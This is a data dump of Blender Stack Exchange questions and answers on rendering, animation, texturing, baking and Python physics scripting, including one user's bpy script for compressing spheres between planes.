  <row Id="24425" PostTypeId="2" ParentId="2826" CreationDate="2015-02-08T15:20:10.973" Score="0" Body="&lt;p&gt;As of version 2.73 it is now supported and has become much easier, see my answer here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/924/rendering-smoke-in-cycles/24424#24424&quot;&gt;Rendering smoke in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-02-08T15:20:10.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24426" PostTypeId="1" CreationDate="2015-02-08T16:32:36.510" Score="1" ViewCount="30" Body="&lt;p&gt;How can I edit the same property on all selected objects at once? For example, if I select 5 mesh objects and I want to lock rotation x or I have selected 20 curves and want to edit 'Preview U resolution' of all of them at once or change the bevel depth of all of them to 2. And if they have same modifier can we edit modifier's properties at once?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="241" LastEditDate="2015-02-08T16:46:33.423" LastActivityDate="2015-02-08T16:46:33.423" Title="Edit same property of all selected objects at once?" Tags="&lt;modifiers&gt;&lt;properties&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-02-08T19:33:11.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="24427" PostTypeId="1" AcceptedAnswerId="24431" CreationDate="2015-02-08T17:19:28.363" Score="2" ViewCount="1687" Body="&lt;p&gt;So I'm going to have a laser fire into a spot in the ground. I want it so that before it fires the ground is blank and when it stops there's a burn mark where the laser was. How could I do this?&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-08T17:40:01.557" Title="How to apply a texture during an animation?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24428" PostTypeId="2" ParentId="24406" CreationDate="2015-02-08T17:28:53.930" Score="1" Body="&lt;p&gt;I think there mainly are two problems in your mesh.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Face normals are inverted.&lt;/li&gt;&#xA;&lt;li&gt;You are using material node which is invalid to use by current render engine.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NJuFC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix them, you can switch to Edit Mode, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to re-calculate normals, then deal with the material node as you wish.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-02-08T17:28:53.930" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24429" PostTypeId="1" AcceptedAnswerId="24430" CreationDate="2015-02-08T17:30:26.093" Score="0" ViewCount="657" Body="&lt;p&gt;I got two cube objects I want two align their bottom to be on one surface , like they are buildings on the ground. i dont want to change objects center &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OHKrK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11305" LastActivityDate="2015-02-08T17:33:06.477" Title="align objects on a surface" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-08T17:45:34.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="24430" PostTypeId="2" ParentId="24429" CreationDate="2015-02-08T17:33:06.477" Score="1" Body="&lt;p&gt;You use vertex snapping. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fGiae.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hold down &lt;kbd&gt;Ctrl&lt;/kbd&gt; when moving your objects to activate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UywKr.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2015-02-08T17:33:06.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24431" PostTypeId="2" ParentId="24427" CreationDate="2015-02-08T17:34:50.163" Score="1" Body="&lt;p&gt;You can animate the 'Fac' property of a 'MixRGB' node to switch between two different textures, one not burnt and one burnt:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect your unburnt texture to the top input of a 'MixRGB' node (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;Colour&lt;/em&gt;&gt; &lt;em&gt;MixRGB&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Connect your burnt texture to the bottom input.&lt;/li&gt;&#xA;&lt;li&gt;Go to the frame just before where you want the burn to appear.&lt;/li&gt;&#xA;&lt;li&gt;Set the 'Fac' value of the 'MixRGB' node to '0'.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;I&lt;/kbd&gt; when your cursor is over the 'Fac' value of the node to insert a keyframe.&lt;/li&gt;&#xA;&lt;li&gt;Go to the next frame, change the 'Fac' value to '1' and insert another keyframe.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2oX7u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a smoother fade between the textures simply insert the second keyframe a few frames after the first, the more frames, the slower the fade between the two textures.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-08T17:40:01.557" LastActivityDate="2015-02-08T17:40:01.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24432" PostTypeId="1" AcceptedAnswerId="24433" CreationDate="2015-02-08T18:10:21.363" Score="8" ViewCount="5866" Body="&lt;p&gt;So I want to change how the mesh looks (through edit mode) so the geometry of the shape changes throughout the animation. So I have a laser but I want my selected faces to be scaling up and down. How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="9711" LastEditDate="2015-02-08T18:16:32.353" LastActivityDate="2015-02-08T18:33:40.803" Title="How to animate a mesh that changes through editing?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24433" PostTypeId="2" ParentId="24432" CreationDate="2015-02-08T18:24:37.163" Score="12" Body="&lt;p&gt;You can use shape keys:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go into the mesh properties&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NURce.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Add a new shape key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zt0fG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;add another shape key&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit your mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the influence of the new shape key by hovering over the property and hitting &lt;kbd&gt;I&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AZMUc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-02-08T18:33:40.803" LastActivityDate="2015-02-08T18:33:40.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24434" PostTypeId="1" CreationDate="2015-02-08T18:27:20.517" Score="2" ViewCount="1217" Body="&lt;p&gt;I am trying to compress some spheres between two planes and see how physics works in blender and at what point the planes can't move further. I want to do this using python with blender physics. I have rendered the required objects using python. &#xA;Could someone throw some light on this and let me know from where can I learn doing this kind of stuff. I have tried reading the API but, I did not find any resource which does physics using python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured this out to some extent but the planes are passing through the objects. Is there a way to stop this from happening? I tried to set the planes to rigid body but then, they don't move at all because they are rigid bodies.Here's my script below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import math as m&#xA;&#xA;def del_existing():&#xA;   del_obj = [item.name for item in bpy.data.objects if item.type == &quot;MESH&quot; or &quot;LAMP&quot;]&#xA;for obj in del_obj:&#xA;    bpy.data.objects[obj].select = True&#xA;bpy.ops.object.delete()&#xA;&#xA;for item in bpy.data.meshes:&#xA;    bpy.data.meshes.remove(item)&#xA;&#xA;def makeMaterial(name, diffuse, specular, alpha):&#xA;   mat = bpy.data.materials.new(name)&#xA;   mat.diffuse_color = diffuse&#xA;   mat.diffuse_shader = 'LAMBERT' &#xA;   mat.diffuse_intensity = 1.0 &#xA;   mat.specular_color = specular&#xA;   mat.specular_shader = 'PHONG'&#xA;   mat.specular_intensity = 0.5&#xA;   mat.alpha = alpha&#xA;   mat.ambient = 1&#xA;   return mat&#xA;&#xA;def setMaterial(ob, mat):&#xA;   me = ob.data&#xA;   me.materials.append(mat)&#xA;&#xA;def add_lamp(lname,srctype,location):&#xA;   scene = bpy.context.scene&#xA;   newl = bpy.data.lamps.new(name=lname,type=srctype)&#xA;   objl = bpy.data.objects.new(name=lname, object_data = newl)&#xA;   scene.objects.link(objl)&#xA;   objl.location=location&#xA;   print(list(bpy.data.objects))&#xA;   bpy.data.objects[lname].select = True&#xA;   bpy.data.objects[&quot;hemi&quot;].data.energy = 0.9&#xA;   #scene.objects.active = objl&#xA;   #objl.select = True&#xA;   #scene.objects.active = objl&#xA;   #objl.use_trasparency = True&#xA;&#xA;def add_camera():&#xA;   cam = bpy.ops.object.camera_add(view_align=True, location=(0.0,34,11.0),rotation=(m.radians(80), 0.0, m.radians(180)))&#xA;   #cam.location = (6.0,6.0,7.0)&#xA;&#xA;def my_handler(scene):&#xA;   bpy.data.objects[&quot;Plane.003&quot;].select = True&#xA;   bpy.data.objects[&quot;Plane.003&quot;].location.x += -0.2&#xA;   bpy.data.objects[&quot;Plane.002&quot;].location.x += 0.2&#xA;   print(bpy.data.objects.get(&quot;Cube&quot;).location)&#xA;   print(scene.objects[&quot;Plane.003&quot;].location)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;   del_existing()&#xA;   bpy.ops.mesh.primitive_plane_add(location = (0,0,0))&#xA;   bpy.data.objects[&quot;Plane&quot;].select = True&#xA;   bpy.ops.rigidbody.object_add()&#xA;   selobj = bpy.context.active_object&#xA;   selobj.scale = (8,8,0)&#xA;   plane_mat = makeMaterial('planemat', (0.8,0.8,0.8), (0.5,0.5,0), 1)&#xA;   plane_mat2 = makeMaterial('planemat2', (0.6,0.0,0.0), (0.5,0.5,0), 1)&#xA;   plane_mat3 = makeMaterial('planemat3', (0.0,0.5,0.0), (0.5,0.5,0), 1)&#xA;   plane_mat4 = makeMaterial('planemat4', (0.0,0.0,0.5), (0.5,0.5,0), 1)&#xA;   setMaterial(bpy.context.object, plane_mat)&#xA;   bpy.ops.mesh.primitive_plane_add(location = (-8,-8,0))&#xA;   bpy.data.objects[&quot;Plane.001&quot;].select = True&#xA;   bpy.ops.transform.rotate(value=m.radians(90),axis=(1,0,0))&#xA;   bpy.ops.transform.resize(value=(8,8,5))&#xA;   bpy.ops.transform.translate(value=(8,0,5))&#xA;   setMaterial(bpy.context.object, plane_mat2)&#xA;   bpy.ops.mesh.primitive_plane_add(location = (-8,-8,0))&#xA;   bpy.data.objects[&quot;Plane.002&quot;].select = True&#xA;   bpy.ops.transform.rotate(value=m.radians(90),axis=(0,1,0))&#xA;   bpy.ops.transform.resize(value=(8,8,5))&#xA;   bpy.ops.transform.translate(value=(0,8,5))&#xA;   setMaterial(bpy.context.object, plane_mat3)&#xA;   bpy.ops.mesh.primitive_plane_add(location = (8,-8,0))&#xA;   bpy.data.objects[&quot;Plane.003&quot;].select = True&#xA;   bpy.ops.transform.rotate(value=m.radians(90),axis=(0,1,0))&#xA;   bpy.ops.transform.resize(value=(8,8,5))&#xA;   bpy.ops.transform.translate(value=(0,8,5))&#xA;   setMaterial(bpy.context.object, plane_mat4)&#xA;   #selobj.rotate = (1,0,0)&#xA;   bpy.ops.mesh.primitive_plane_add(location = (0,0,10))&#xA;   selobj = bpy.context.active_object&#xA;   selobj.scale = (8,8,0)&#xA;   bpy.ops.mesh.primitive_cube_add(location = (2.5,0,1))&#xA;   bpy.data.objects[&quot;Cube&quot;].select = True&#xA;   print('Cube',bpy.ops.rigidbody.object_add())&#xA;   selobj = bpy.context.active_object&#xA;   selobj.scale = (1,1,1)&#xA;   #print(bpy.context.object)&#xA;   #selobj.translate = (0,0,0)&#xA;   blue = makeMaterial('transcube', (0.16,0.05,0.8), (0.5,0.5,0), 2)&#xA;   setMaterial(bpy.context.object, blue)&#xA;   bpy.data.materials[&quot;transcube&quot;].use_transparency = True&#xA;   bpy.data.materials[&quot;transcube&quot;].transparency_method = 'RAYTRACE'&#xA;   bpy.data.materials[&quot;transcube&quot;].raytrace_transparency.ior = 1.5&#xA;   bpy.data.materials[&quot;transcube&quot;].alpha = 0.2&#xA;   #bpy.data.objects['Cube'].active_material = bpy.data.materials[&quot;transcube&quot;]&#xA;   #print(bpy.data.materials[&quot;transcube&quot;].use_transparency)&#xA;   bpy.ops.mesh.primitive_ico_sphere_add(location = (-4.3,3,1))&#xA;   bpy.data.objects[&quot;Icosphere&quot;].select = True&#xA;   bpy.ops.rigidbody.object_add()&#xA;   bpy.ops.transform.resize(value=(1,1,1))&#xA;   bpy.data.objects['Icosphere'].active_material  = bpy.data.materials[&quot;transcube&quot;]&#xA;   bpy.ops.object.modifier_add(type='SUBSURF')&#xA;   bpy.context.object.modifiers[&quot;Subsurf&quot;].levels = 4&#xA;   bpy.ops.object.modifier_apply(apply_as='DATA',modifier='Subsurf')&#xA;   for obj in bpy.data.objects:&#xA;       for each in obj.data.polygons:&#xA;           each.use_smooth = 1&#xA;   #obj = bpy.context.active_object&#xA;   add_lamp(&quot;hemi&quot;,&quot;HEMI&quot;, (0,0,9.9))&#xA;   add_camera()&#xA;   bpy.context.scene.use_gravity = False&#xA;   bpy.context.scene.frame_end = 150&#xA;&#xA;   # every frame change, this function is called.&#xA;   while len(bpy.app.handlers.frame_change_pre) &amp;gt; 0:&#xA;       bpy.app.handlers.frame_change_pre.pop()&#xA;   bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11483" LastEditorUserId="11483" LastEditDate="2015-02-08T22:41:37.337" LastActivityDate="2015-04-10T08:58:38.437" Title="How to move objects and create animation with physics using python in blender?" Tags="&lt;python&gt;&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24435" PostTypeId="2" ParentId="24284" CreationDate="2015-02-08T18:38:45.107" Score="33" Body="&lt;p&gt;Emitting smoke from rigged character is a matter of having the smoke modifier &lt;strong&gt;after&lt;/strong&gt; any other (having the smoke last in the stack means it will use the final mesh after all the modifiers):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOdF9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using mocap for character motion or by having constraints on the bones, the &lt;em&gt;subframes&lt;/em&gt; setting for the &lt;em&gt;Flow&lt;/em&gt; object won't work and you will get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5TtfM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it bake the animation action for your bones with &lt;strong&gt;Pose &gt; Animation &gt; Bake Action&lt;/strong&gt;. Use visual transform and delete constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Bj6W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this solved I will focus on &lt;strong&gt;How to make smoke simulations really look inky&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Every setting will depend on your &lt;em&gt;Domain resolution&lt;/em&gt; and the size of your scene. That's why every showcase picture will have a downloadable .blend. Also the important settings are in bold.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Enable &lt;em&gt;Initial velocity&lt;/em&gt;&lt;/strong&gt; for every Flow object. We want the ink to carry the motion of each object.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lower the &lt;em&gt;Surface emit distance&lt;/em&gt; and set &lt;em&gt;Volume&lt;/em&gt; to 1.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set &lt;em&gt;Temp. Diff&lt;/em&gt; to -0.1&lt;/strong&gt; for every flow object so the smoke falls very slowly like ink in water.&lt;/li&gt;&#xA;&lt;li&gt;You may also want to increase &lt;em&gt;Sampling Subframes&lt;/em&gt; if your object moves fast.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For Ink Drop animations increase the &lt;em&gt;Source&lt;/em&gt; above 1 and animate the &lt;em&gt;Density&lt;/em&gt; from 1 to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TeO9M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Domain setting: 256 &lt;em&gt;Divisions&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;em&gt;Time Scale&lt;/em&gt; around 0.3&lt;/strong&gt; (you may want to animate this for ink drops). Ink does not move as fast as smoke, this is important setting to make ink and not smoke.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Low Vorticity&lt;/strong&gt;. This will be controlled with &lt;em&gt;Turbulence field&lt;/em&gt; for the ink motion.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The ink can be nicely &quot;faded&quot; in post production, leave &lt;em&gt;Dissolve&lt;/em&gt; unchecked or use some high number for &lt;em&gt;Dissolve&lt;/em&gt; (like 150). Ink does not dissolve it will spread to thin with Turbulence field(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jGYPV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Add Turbulence field to the scene.&lt;/strong&gt; This will create the important &quot;dissolve&quot; motion for the ink:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Its important to not overpower the settings! Too small scale or too intensive and the ink will look more like smoke or like there is too motion in the water and like the ink does not dissolve naturally. These settings depends on your simulation dimensions. Its also good to animate the &lt;em&gt;Strength&lt;/em&gt; if domain &lt;em&gt;Time scale&lt;/em&gt; is animated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JbMw7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For &lt;em&gt;Domain material&lt;/em&gt; use just &lt;em&gt;Absorbtion&lt;/em&gt; volumetric shader with &lt;strong&gt;High Multiply Value&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nYVKp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This results in ink like this (icosphere falling through domain):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DP5hV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt; &lt;a href=&quot;http://www.pasteall.org/blend/34403&quot; rel=&quot;noreferrer&quot;&gt;Download .blend&lt;/a&gt; &lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-02-15T12:12:49.857" LastActivityDate="2015-02-15T12:12:49.857" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="24436" PostTypeId="1" AcceptedAnswerId="24437" CreationDate="2015-02-08T18:50:04.613" Score="2" ViewCount="288" Body="&lt;p&gt;I have a burn mark texture and the problem is that when I put it on a plane and adjust the UV mapping instead of there being one burn mark loads show up. How do I get only one?&lt;/p&gt;&#xA;" OwnerUserId="9711" LastEditorUserId="2217" LastEditDate="2015-02-08T19:10:16.867" LastActivityDate="2015-02-08T19:13:17.617" Title="How to only use a texture once?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-08T19:29:22.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="24437" PostTypeId="2" ParentId="24436" CreationDate="2015-02-08T19:06:58.090" Score="5" Body="&lt;p&gt;Simply add a mapping node between the texture coordinates and the image texture in your nodes. Then check the &lt;em&gt;Min&lt;/em&gt; and the &lt;em&gt;Max&lt;/em&gt; check boxes on the &lt;em&gt;Mapping&lt;/em&gt; node.&lt;br&gt;&#xA;Those two check boxes will limit the repeating of the image. Use &lt;em&gt;Min&lt;/em&gt; to control the side to the left of the image, and &lt;em&gt;Max&lt;/em&gt; for the right. With both checked neither side will repeat.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4WE32.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4WE32.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="6204" LastEditDate="2015-02-08T19:13:17.617" LastActivityDate="2015-02-08T19:13:17.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24438" PostTypeId="2" ParentId="24422" CreationDate="2015-02-08T19:42:40.730" Score="25" Body="&lt;p&gt;You will have to &lt;em&gt;&lt;a href=&quot;https://www.blender.org/manual/render/cycles/baking.html&quot; rel=&quot;noreferrer&quot;&gt;Bake&lt;/a&gt;&lt;/em&gt; the material before you can use it in unity. Specifically the color data from the material.&lt;br&gt;&#xA;Well what pass holds the color data? That depends on how your material is set up. You might have to bake a &lt;em&gt;Diffuse&lt;/em&gt; pass, a &lt;em&gt;Glossy&lt;/em&gt; pass, or an &lt;em&gt;Emission&lt;/em&gt; pass (those are the three most common passes, but there are 11 total passes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a Diffused BSDF, Principled BSDF (non metallic),  and Toon BSDF shader then bake a &lt;em&gt;Diffuse&lt;/em&gt; pass set to &lt;em&gt;Color&lt;/em&gt;.&lt;br&gt;&#xA;However the Anisotropic BSDF, Glass BSDF, Glossy BSDF, Hair BSDF, and Velvet BSDF shaders will all output a pure black Diffuse pass. For these you need to bake a &lt;em&gt;Glossy&lt;/em&gt; pass set to &lt;em&gt;Color&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an emissive materiel, you will need to use (no surprise here) an &lt;em&gt;Emit&lt;/em&gt; pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting one is the &lt;em&gt;Principled&lt;/em&gt; shader. When set to metallic, it too will be a pure black diffuse pass.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;These here are the minimum steps to bake the color of a cycles material to a texture (I'm using a diffuse pass here). You may depending on your UV layout need to create another UV map. &lt;a href=&quot;https://blender.stackexchange.com/q/15510/2217&quot;&gt;Possible to bake texture to new UV map?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With the object in question selected, open the &lt;em&gt;UV/Image Editor&lt;/em&gt; and create a new image which will be used to bake to.&lt;/li&gt;&#xA;&lt;li&gt;In the material nodes add a &lt;em&gt;Image Texture&lt;/em&gt; node, select the image you just created and keep it the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active&lt;/a&gt; node (light yellow outline).&lt;/li&gt;&#xA;&lt;li&gt;In the &lt;em&gt;Properties Window&lt;/em&gt; under the &lt;em&gt;Render&lt;/em&gt; tab scroll down to the &lt;em&gt;Bake&lt;/em&gt; heading. Change the &lt;em&gt;Bake Type&lt;/em&gt; to &lt;em&gt;Diffuse&lt;/em&gt;, and choose only the &lt;em&gt;Color&lt;/em&gt; pass. Now press the large &lt;em&gt;Bake&lt;/em&gt; button.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HdgNA.png&quot; alt=&quot;Texture Bake settings&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2018-05-04T19:35:49.407" LastActivityDate="2018-05-04T19:35:49.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24439" PostTypeId="1" AcceptedAnswerId="26780" CreationDate="2015-02-08T19:47:26.857" Score="7" ViewCount="1940" Body="&lt;p&gt;I'm looking for a method to &lt;strong&gt;make a character walk properly to the angle of the floor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when he walks up a hill the feet have to be always touching the floor correctly and the walking motion of the legs has to change with the angle too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Walking the hill straight up or down is one thing, but imagining the character running sideways on it so that one leg is at a higher level than the other is more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus it will have a joystick-like rotation whilst walking so it blends from the &quot;sidehill&quot; animation to the uphill or downhill animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with this issue? Any tutorials, hints, tips, guesses, ressources, etc. would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guesses on how to script this? E.g. how to change the model/animation according to the angle of the floor? &lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="2217" LastEditDate="2015-02-08T19:56:13.910" LastActivityDate="2015-03-07T23:15:16.480" Title="How to make a walking animation for a character in the BGE on a uneven or steep floor?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24440" PostTypeId="1" AcceptedAnswerId="24453" CreationDate="2015-02-08T21:53:05.300" Score="3" ViewCount="4230" Body="&lt;p&gt;I am using blender version 2.73 on windows 8.1. I rendered an animation into a png sequence the first render worked fine. I then changed the scene, and tried to render it again. This time, I am getting nothing but a bunch of black images. They are not just dark or poorly lit, they are solid black. When I view the scene in rendered mode, I can see the image fine, but during the final render, I get nothing. Cycles doesn't seem to go through the usual rendering process of doing each frame section-by-section, it just instantly creates a bunch of black images in the output folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a screenshot of the scene.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8R34s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8R34s.png&quot; alt=&quot;blender 3D view and UI&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get this message in the console after the render&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Saved: C:\path_to_directory[image number].png Time: 00.00.00 (Saving: 00.00.00)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is repeated once for each image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file along with an image texture and bump map used.&lt;br&gt;&#xA;&lt;a href=&quot;https://db.tt/z5m9qglt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dropbox Download Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11486" LastEditorUserId="2217" LastEditDate="2015-02-08T22:56:58.583" LastActivityDate="2017-02-04T23:19:09.897" Title="Cycles render output solid black images" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="4" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
